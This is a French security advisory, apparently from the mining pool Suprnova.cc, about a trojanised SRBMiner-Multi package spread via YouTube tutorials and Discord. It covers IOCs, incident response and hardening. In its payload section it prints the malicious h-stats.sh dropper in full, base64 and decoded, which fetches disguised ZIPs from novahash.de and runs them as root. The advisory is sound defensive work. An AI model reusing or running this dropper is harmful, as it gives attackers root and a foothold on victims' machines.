⚠️ Alerte de sécurité · Priorité haute

Paquet SRBMiner 3.2.5 troyanisé dans la nature
Ce que les mineurs doivent savoir, dans l’ordre qui les intéresse

Une fausse archive SRBMiner-Multi est distribuée depuis miningrepositories.blog. La charge utile dépose un second étage avec les droits root depuis novahash.de via le script de statistiques Hive OS, toutes les dix secondes ou presque. Ce qui, disons-le, manque pour le moins de discrétion.

Publié le 17 avril 2026 · Suprnova.cc · Pools de minage depuis 2013

⚠️ Si vous avez installé ce paquet

N’essayez pas de nettoyer à la main. Reformatez le rig.

Le script h-stats.sh de cette archive s’exécute en tant que root à chaque poll de statistiques Hive OS — environ toutes les dix secondes, tant que le rig tourne. Il télécharge et exécute une charge de second étage, puis efface les artefacts visibles. Si vous supprimez les fichiers à la main, ils réapparaissent au poll suivant. Peu courtois, avouez-le.

À ce niveau de privilège, vous ne pouvez plus faire confiance à la machine. Vous devez réinstaller le rig depuis une image d’OS propre et faire tourner toutes les credentials qui ont touché cette machine — comptes de pool et clés API, clés SSH, graines de wallet stockées sur disque, sessions de navigateur sauvegardées, absolument tout. Vérifiez aussi tout autre appareil qui partage des credentials avec le rig touché : le mouvement latéral est un loisir très apprécié dans cette catégorie d’attaquants.

Nous comprenons que « reformater le rig » n’est pas la nouvelle qu’on souhaite apprendre un jeudi. C’est néanmoins la seule bonne réponse.

Auto-identification : si vous avez configuré un rig en suivant un tutoriel YouTube de l’utilisateur « Argenminers » pour miner C64Chain ou Qubit (QTC) à partir du 16 avril 2026, ou si quelqu’un vous a déposé le lien dans le Discord de l’une des deux pièces — c’est par ce chemin que l’archive est arrivée. Traitez le rig comme compromis et suivez les étapes ci-dessus.

En bref

Quelqu’un distribue un paquet SRBMiner-Multi 3.2.5 piégé depuis miningrepositories.blog. Le binaire du mineur semble légitime et sert de couverture ; la partie malveillante est planquée dans h-stats.sh sous forme d’un bloc base64 qui, à chaque poll de statistiques Hive OS, télécharge deux « images » (en réalité des ZIP) depuis novahash.de, les extrait dans /etc/, exécute les scripts shell contenus en root, et nettoie derrière lui. Si vous avez installé cette archive sur un rig : reformatez. Bloquez novahash.de et miningrepositories.blog au pare-feu. Téléchargez SRBMiner uniquement depuis github.com/doktor83/SRBMiner-Multi/releases et vérifiez le SHA256 contre la valeur publiée.

IOC — pour les pressés qui veulent juste grepper

Tout ce qu’il faut à un défenseur dans un seul bloc. Le détail vient plus loin, mais si vous êtes là pour auditer votre flotte, commencez ici.

Réseau (à bloquer)
Domaine de distribution
miningrepositories.blog
Domaine C2 du second étage
novahash.de
URLs du second étage
https://novahash.de/fileslab/recuaikaan.png
https://novahash.de/fileslab/mqtato-fla.jpg
URL de l’archive troyanisée
https://miningrepositories.blog/srbminer-3.2.5.tar.gz
Artefacts fichiers (peuvent être absents — le dropper nettoie)
/etc/recuaikaan.png
/etc/recuaikaan.zip
/etc/recuaikaan.sh
/etc/mqtato-fla.jpg
/etc/mqtato-fla.zip
/etc/mqtato-fla.sh
Hashes (binaire mineur de couverture)
SHA256 (srbminer_bin)
9d69228bce9ad3f1cde0f7fa0141e7588922227ee67b3c3f12788a0429909d06
BuildID (srbminer_bin)
fc2487ec223c91039748e53c08328af91260cd8c

Les artefacts fichiers sont nettoyés par le dropper après chaque exécution : leur absence ne prouve donc rien. Seule leur présence est concluante. Jugez plutôt sur les logs, sur le contenu de h-stats.sh sur disque, et sur le trafic sortant vers novahash.de.


Vecteur de distribution

Le paquet est actuellement proposé comme téléchargement SRBMiner-Multi sur miningrepositories.blog, un domaine choisi pour paraître générique et de confiance à qui cherche des binaires de mineurs. Ce n’est pas un canal de distribution connu ou légitime pour SRBMiner ni, pour autant qu’on puisse en juger, pour quoi que ce soit d’autre.

Signaux d’alarme immédiats

Diffusion : tutoriels YouTube et distribution sur Discord (observé)

L’archive troyanisée n’attend pas, posée sur un domaine obscur, que quelqu’un tombe dessus par hasard. Elle est activement promue via des canaux dans lesquels les mineurs ont confiance :

Diffusion observée (16 avril 2026)

Ce que cela dit du mode opératoire de l’attaquant

C’est de l’ingénierie sociale, pas un drive-by download. Chaque étape est choisie pour faire baisser la garde de la cible :

  1. Choisir de petites pièces avec des Discords actifs et un afflux régulier de nouveaux. C64Chain et QTC sont précisément le genre de pièce où un nouveau mineur arrive dans le Discord, demande comment démarrer, et prend avec gratitude le premier lien qu’un bon samaritain lui tend. Les grosses pièces attirent plus de scrutin ; les petites, plus de confiance.
  2. Produire un vrai tutoriel qui marche. La vidéo YouTube montre un rig qui mine effectivement, parce que le binaire du mineur dans l’archive est un vrai mineur fonctionnel (couverture). La preuve visuelle est persuasive — une vidéo où défilent des shares acceptés vaut mille « fais-moi confiance ».
  3. Accumuler la réputation d’abord, piocher ensuite. Une fois la vidéo en ligne et quelques commentaires du genre « ça a marché chez moi, merci ! », le lien s’auto-entretient : chaque nouveau spectateur voit la preuve sociale avant de voir une raison de se méfier.
  4. Injecter dans les canaux de nouveaux. Poster le lien dans les canaux Discord où les débutants demandent de l’aide. La charge s’exécute dès le premier poll de statistiques ; l’attaquant n’a besoin de rien de plus que « suis le tutoriel ».
  5. Compter sur l’absence d’audit des archives par les moderateurs. Quasiment aucun Discord de pièce n’a les moyens de reverse-engineerer chaque archive « utile » postée dans son canal de minage. Un utilisateur sympa avec une chaîne YouTube passe pour un membre de la communauté, pas pour une menace.
L’enseignement

Un tutoriel YouTube qui marche et un post Discord amical ne sont pas des signaux de confiance. La vidéo de l’attaquant montre presque certainement un rig qui mine correctement — parce qu’il le fait. Le dégât est dans h-stats.sh, qui tourne en root, sur le rig que le spectateur vient de configurer avec application. Pour les débutants : téléchargez les mineurs uniquement depuis le dépôt officiel du projet et vérifiez le SHA256 à chaque fois. Pour les Discord de pièces : envisagez un message épinglé en haut du canal de minage — « ne faites confiance à aucune archive postée ici qui ne vient pas du projet officiel ».

Si vous faites partie de la communauté C64Chain ou Qubit (QTC) et avez configuré un rig à partir du tutoriel Argenminers, ou passé le lien à un proche — partagez cet avis dans la communauté et considérez tout rig monté depuis ce guide comme compromis.


Contenu de l’archive

L’archive est une intégration Hive OS custom miner complète, avec en prime une intégration Minerstat (mmp-*) collée au passage. Les distributions authentiques livrent l’une ou l’autre, pas les deux — le simple fait de les trouver ensemble est déjà révélateur.

FichierTailleStatut
h-manifest.conf616 oPropre (altérations cosmétiques uniquement)
h-run.sh764 oPropre (altérations cosmétiques uniquement)
h-config.sh205 oPropre
h-stats.sh8 646 oMALVEILLANT — contient le dropper
mmp-stats.sh4 116 oPropre
mmp-external.conf63 oPropre (version incohérente)
srbminer_bin20 309 184 o (~20 Mo)Probablement authentique/quasi authentique (couverture)

Indices de reconditionnement

Aucun des éléments ci-dessous n’est malveillant en soi — ce sont les détails diagnostiques qui trahissent que le paquet ne vient pas d’où il prétend venir :


La charge utile : h-stats.sh

L’essentiel de h-stats.sh est — à notre grand agacement — un parseur de stats Hive OS parfaitement fonctionnel. Il interroge l’API HTTP du mineur sur 127.0.0.1:$MINER_API_PORT, parse hashrate, shares, températures et vitesses de ventilateur pour les workers GPU et CPU, gère le minage mono- et dual-algorithme, et renvoie du JSON de stats valide à l’agent Hive. Ce n’est pas un détail : c’est la couverture. Si le script plantait, Hive afficherait le rig comme offline et l’opérateur investiguerait en quelques minutes.

Ajouté après la logique légitime de stats, avant les affectations de fallback, on trouve ce bloc :

p="bm9odXAgc3VkbyB3Z2V0IC1xIGh0dHBzOi8vbm92YWhhc2guZGUvZmlsZXNsYWIvcmVjdWFpa2Fhbi5wbmcg
LU8gL2V0Yy9yZWN1YWlrYWFuLnppcCAmJiBzdWRvIHVuemlwIC1xIC1vIC9ldGMvcmVjdWFpa2Fhbi56aXAgLWQg
L2V0YyAmJiBzdWRvIGJhc2ggL2V0Yy9yZWN1YWlrYWFuLnNoIDsgc3VkbyB3Z2V0IC1xIGh0dHBzOi8vbm92YWhh
c2guZGUvZmlsZXNsYWIvbXF0YXRvLWZsYS5qcGcgLU8gL2V0Yy9tcXRhdG8tZmxhLnppcCAmJiB1bnppcCAtcSAt
byAvZXRjL21xdGF0by1mbGEuemlwIC1kIC9ldGMgJiYgYmFzaCAvZXRjL21xdGF0by1mbGEuc2ggOyBybSAvZXRj
L21xdGF0by1mbGEuemlwIDsgcm0gL2V0Yy9tcXRhdG8tZmxhLnNoIDsgcm0gL2V0Yy9yZWN1YWlrYWFuLnNoIDsg
cm0gL2V0Yy9yZWN1YWlrYWFuLnppcCA+IC9kZXYvbnVsbCAyPiYxICY="
nohup sh -c "$(echo "$p" | base64 -d)" > /dev/null 2>&1 &

Décodée, la charge base64 donne :

nohup sudo wget -q https://novahash.de/fileslab/recuaikaan.png -O /etc/recuaikaan.zip \
  && sudo unzip -q -o /etc/recuaikaan.zip -d /etc \
  && sudo bash /etc/recuaikaan.sh ; \
sudo wget -q https://novahash.de/fileslab/mqtato-fla.jpg -O /etc/mqtato-fla.zip \
  && unzip -q -o /etc/mqtato-fla.zip -d /etc \
  && bash /etc/mqtato-fla.sh ; \
rm /etc/mqtato-fla.zip ; rm /etc/mqtato-fla.sh ; \
rm /etc/recuaikaan.sh ; rm /etc/recuaikaan.zip > /dev/null 2>&1 &

Déroulement, étape par étape

  1. Deux fichiers « image » (.png et .jpg) sont récupérés par wget depuis novahash.de. Les extensions image sont un camouflage : le contenu réel est constitué d’archives ZIP. Astuce classique pour passer sous les filtres d’egress naïfs qui inspectent scripts et archives mais laissent passer les images.
  2. Chaque archive est écrite dans /etc/, renommée en .zip, puis extraite sur place avec unzip -o (écrasement).
  3. Chaque archive contient un script shell (recuaikaan.sh, mqtato-fla.sh) qui est ensuite exécuté — le premier explicitement avec sudo, le second s’appuyant sur le contexte root déjà en place de l’agent Hive.
  4. Les quatre artefacts (les deux .zip et les deux .sh) sont ensuite supprimés de /etc/. Cela nettoie l’empreinte du dropper : une inspection post-mortem de /etc/ ne trouve rien, alors que ce que les scripts de second étage ont installé ailleurs reste en place.
  5. La chaîne complète tourne en arrière-plan via nohup … &, sans bloquer ni retarder la sortie de stats légitime. Hive continue à voir un rig bien portant.

Pourquoi h-stats.sh est le site d’injection parfait

Pourquoi ce placement est particulièrement vicieux, en clair

Ce que l’attaquant y gagne :

Imaginez quelqu’un qui glisse dans votre boîte aux lettres un billet disant « merci de laisser la porte de derrière ouverte », puis redépose le même billet toutes les dix secondes, pour toujours, en ramassant chaque fois le précédent. Vous ne pouvez pas gagner à ce jeu-là. Vous devez changer la serrure.


Le mineur de couverture : srbminer_bin

Le binaire inclus ressemble à un build SRBMiner-Multi légitime ou quasi légitime. Son rôle, du point de vue de l’attaquant, est d’être sans histoires :

Le plan de l’attaquant dépend d’un mineur qui produit un hashrate et des shares plausibles pour que les dashboards Hive et Minerstat paraissent normaux et que l’opérateur n’ait aucune raison d’investiguer. Toute la fonctionnalité malveillante observée est dans h-stats.sh ; le binaire n’est pas le vecteur d’attaque.

Recommandation de vérification

Comparez le SHA256 du binaire aux hashes connus sur github.com/doktor83/SRBMiner-Multi/releases, ou soumettez le fichier à VirusTotal. Une divergence avec n’importe quel hash SRBMiner publié suffit à considérer le binaire comme suspect, indépendamment de ce qui est écrit ici.


Indicateurs de compromission complets

Réseau

Fichiers (artefacts du dropper)

Supprimés par le dropper après exécution — l’absence ne dédouane pas :

/etc/recuaikaan.png
/etc/recuaikaan.zip
/etc/recuaikaan.sh
/etc/mqtato-fla.jpg
/etc/mqtato-fla.zip
/etc/mqtato-fla.sh

Hashes de fichier

Signatures de processus et de comportement

Signaux au niveau du paquet (pour repérer d’autres paquets troyanisés)


Checklist de réponse aux incidents

Si vous avez installé ce paquet sur n’importe quel rig ou serveur, déroulez les étapes dans l’ordre. Avec un brin d’agacement. C’est la bonne posture.

1

Isoler

Déconnectez immédiatement le rig du réseau. Ne l’éteignez pas d’abord — l’état mémoire peut être utile, et certains mécanismes de persistance se déclenchent au boot.

2

Bloquer le C2 partout

Ajoutez novahash.de aux sinkholes DNS et aux listes de blocage du pare-feu sur tout le réseau, pas seulement sur le rig affecté. Le mouvement latéral est une possibilité : supposez que d’autres machines ont pu être touchées.

3

Snapshot pour la forensique (facultatif)

Si vous avez la patience, imagez le disque avant toute remise en état, et capturez la mémoire si vous disposez des outils. Sinon — très bien, passez à la remise en état.

4

Vérifier les artefacts du dropper

ls -la /etc/recuaikaan* /etc/mqtato* 2>/dev/null
5

Vérifier les indicateurs de rootkit userland

cat /etc/ld.so.preload   # doit être vide ou inexistant
6

Chercher les fichiers récemment modifiés

find /etc /usr/local/bin /usr/local/sbin /root /tmp /var/tmp /dev/shm \
     -mtime -30 -type f -ls 2>/dev/null
7

Auditer les mécanismes de persistance

crontab -l
for u in $(cut -f1 -d: /etc/passwd); do crontab -u "$u" -l 2>/dev/null; done
ls -la /etc/cron.* /etc/cron.d/ /var/spool/cron/
systemctl list-unit-files --state=enabled
systemctl list-timers --all
8

Traquer les backdoors SSH

find / -name "authorized_keys" 2>/dev/null -exec ls -la {} \; -exec cat {} \;
grep -E '^(PermitRootLogin|PasswordAuthentication|AuthorizedKeysFile)' /etc/ssh/sshd_config
9

Vérifier les connexions sortantes

ss -tnp | grep -E '(srbminer|sh|wget|curl)'
10

Vérifier l’intégrité de la config du mineur

Comparez l’adresse wallet et l’URL de pool dans la config réelle du mineur avec ce qui est déclaré dans Hive ou Minerstat. Les charges de second étage de ce genre remplacent souvent les credentials de minage par celles de l’attaquant, si bien que la victime paie docilement la facture d’électricité de l’attaquant. Ce qui, avouons-le, est un peu fort de café.

11

Lancer les scanners de rootkit

chkrootkit
rkhunter --check --skip-keypress
12

Relire les logs sudo

grep -E 'wget|bash /etc' /var/log/auth.log /var/log/secure 2>/dev/null
13

Si le moindre indicateur remonte — réinstaller. Point.

Un code userland qui tourne en root à court intervalle ne se nettoie pas de façon fiable à la main. Réinstallez l’OS du rig, faites tourner toutes les credentials ayant touché la machine (comptes de pool, clés SSH, graines de wallet stockées sur disque) et auditez tout appareil qui partageait des credentials avec le rig touché. Occasion rare de remettre à plat des choses qu’on repousse depuis longtemps.


Durcissement : comment ne pas se retrouver ici

Quelques habitudes qui auraient évité l’affaire. Rien de neuf, rien de passionnant ; l’objectif est justement que ce soit ennuyeux.

1. Ne télécharger des mineurs que depuis des sources vérifiées

Pour SRBMiner, c’est github.com/doktor83/SRBMiner-Multi/releases. Pour tout autre mineur : la page officielle du projet sur GitHub — en général liée depuis la page Getting Started du pool. Le reste, c’est de l’hypothèse.

2. Toujours vérifier le SHA256

Les releases officielles publient des sommes. sha256sum sur le téléchargement, comparaison avec la valeur publiée. Huit secondes. Reformater un rig prend sensiblement plus longtemps.

3. Méfiance envers les paquets « custom » ou « patchés »

Sauf s’ils viennent d’une source communautaire connue et de confiance. Les wrappers d’intégration de stats sont un terrain d’injection privilégié, précisément parce que personne ne les lit. C’est toute la raison pour laquelle on en est là.

4. Lire les scripts d’intégration avant la première exécution

30 secondes de less h-stats.sh avant de pointer un flight sheet sur un mineur custom. Longues chaînes encodées, appels réseau vers des domaines inconnus, écritures dans /etc/ ou /usr/local/ — chacun de ces signaux justifie à lui seul une pause.

5. Filtrage en sortie

Un rig n’a pas besoin d’atteindre des domaines arbitraires. Allowlist des IP du pool, blocage de tout le reste. Un rig correctement filtré ne peut pas se faire stager même si un script malveillant tourne, puisqu’il n’a aucune source où récupérer un second étage.

6. Surveiller les connexions sortantes

Un rig qui fait des requêtes HTTPS vers autre chose que votre pool est suspect par défaut. Ce n’est pas de la paranoia, c’est la détection la moins chère à mettre en place.

7. Ne pas oublier ce qui tourne en root

Sur Hive OS, l’agent Hive tourne en root et le compte user a sudo sans mot de passe. Tout script appelé par l’agent dispose donc effectivement des droits root. Restez-en conscient. Si votre framework supporte des utilisateurs de minage non privilégiés, utilisez-les.


Un mot de Suprnova

Les opérateurs de pools et leurs mineurs forment une cible de choix pour ce type d’attaque. Un mineur troyanisé sur un rig ne compromet pas seulement ce rig — il peut détourner du hashrate de votre pool, extraire les credentials de pool des fichiers de configuration, et servir de point d’appui pour s’étendre dans le reste de votre infrastructure. Nos utilisateurs sont en moyenne plus techniques, plus précieux et plus spécifiquement ciblés que la population générale des « gens qui téléchargent des choses » ; cette attention n’est pas, au final, un compliment.

Si vous tombez sur un téléchargement de mineur suspect, une archive inhabituelle, ou un DM Discord/Telegram vantant un mineur « custom » ou « patché » — transférez-le à admin@suprnova.cc ou déposez-le dans notre Discord. Nous regarderons, mettrons à jour ce bulletin si nécessaire, et avertirons la communauté. Ceinture, bretelles, et un soupçon de paranoia partagée — les trois piliers d’un rig de minage heureux.


L’essentiel

L’archive sur https://miningrepositories.blog/srbminer-3.2.5.tar.gz est troyanisée. Le binaire du mineur sert de couverture ; la vraie charge vit dans h-stats.sh et contacte novahash.de toutes les dix secondes environ, en root, tant que le rig tourne.

Si vous avez installé ce paquet sur une machine, vous devez la reformater. Pas « enquêter ». Pas « nettoyer ». Reformater. Faites tourner toutes les credentials qui ont touché la machine. Vérifiez tout ce qui partage des credentials avec elle. Il n’y a pas d’option intermédiaire qui soit aussi correcte.

Bloquez novahash.de et miningrepositories.blog. Au DNS et au pare-feu en sortie. Partout, pas seulement sur le rig touché.

Ne téléchargez les mineurs que depuis les sources upstream vérifiées, et vérifiez le SHA256 à chaque fois. Les releases SRBMiner officielles se trouvent sur github.com/doktor83/SRBMiner-Multi/releases. Tout ce qui prétend être SRBMiner ailleurs est, au mieux, non vérifié.

Articles liés

Sécurité des pools de minage

Comment les pools se protègent eux-mêmes et leurs mineurs contre DDoS, exploits et autres menaces.

Guide du matériel de minage

Guide pratique pour choisir et entretenir son matériel — y compris le côté logiciel, parfois ennuyeux.

Une journée d’un opérateur de pool

Quand des machines compromises pointent sur votre pool, tout le monde y perd — y compris le mardi de l’opérateur.